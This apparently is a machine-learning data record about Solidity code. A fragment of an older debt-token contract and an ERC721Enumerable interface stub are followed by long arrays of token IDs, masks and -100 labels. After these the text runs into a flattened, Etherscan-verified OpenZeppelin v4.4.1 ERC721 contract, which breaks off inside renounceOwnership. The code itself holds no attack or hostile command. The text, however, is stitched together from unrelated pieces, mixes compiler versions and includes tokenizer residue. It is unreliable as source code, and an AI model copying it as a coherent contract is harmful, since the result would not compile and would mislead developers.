* contract to allow its functionality to be frozen in the case of an emergency
*/
function safeTransferFrom(address _from, address _to, uint _tokenId, bytes _data)
public
whenNotPaused
{
_modifyBeneficiary(_tokenId, _to);
super.safeTransferFrom(_from, _to, _tokenId, _data);
}
/**
* Allows senders with special permissions to set the token URI for a given debt token.
*/
function setTokenURI(uint256 _tokenId, string _uri)
public
whenNotPaused
{
require(tokenURIPermissions.isAuthorized(msg.sender));
super._setTokenURI(_tokenId, _uri);
}
/**
* _modifyBeneficiary mutates the debt registry. This function should be
* called every time a token is transferred or minted
*/
function _modifyBeneficiary(uint _tokenId, address _to)
internal
{
if (registry.getBeneficiary(bytes32(_tokenId)) != _to) {
registry.modifyBeneficiary(bytes32(_tokenId), _to);
}
}
} | * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension/ | contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
}
| 12,560,597 | [
1,
654,
39,
17,
27,
5340,
3858,
17,
42,
20651,
1523,
3155,
8263,
16,
3129,
16836,
2710,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
4232,
39,
27,
5340,
3572,
25121,
353,
4232,
39,
27,
5340,
8252,
288,
203,
225,
445,
2078,
3088,
1283,
1435,
1071,
1476,
1135,
261,
11890,
5034,
1769,
203,
225,
445,
1147,
951,
5541,
21268,
12,
2867,
389,
8443,
16,
2254,
5034,
389,
1615,
13,
1071,
1476,
1135,
261,
11890,
5034,
389,
2316,
548,
1769,
203,
225,
445,
1147,
21268,
12,
11890,
5034,
389,
1615,
13,
1071,
1476,
1135,
261,
11890,
5034,
1769,
203,
97,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-02-01
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
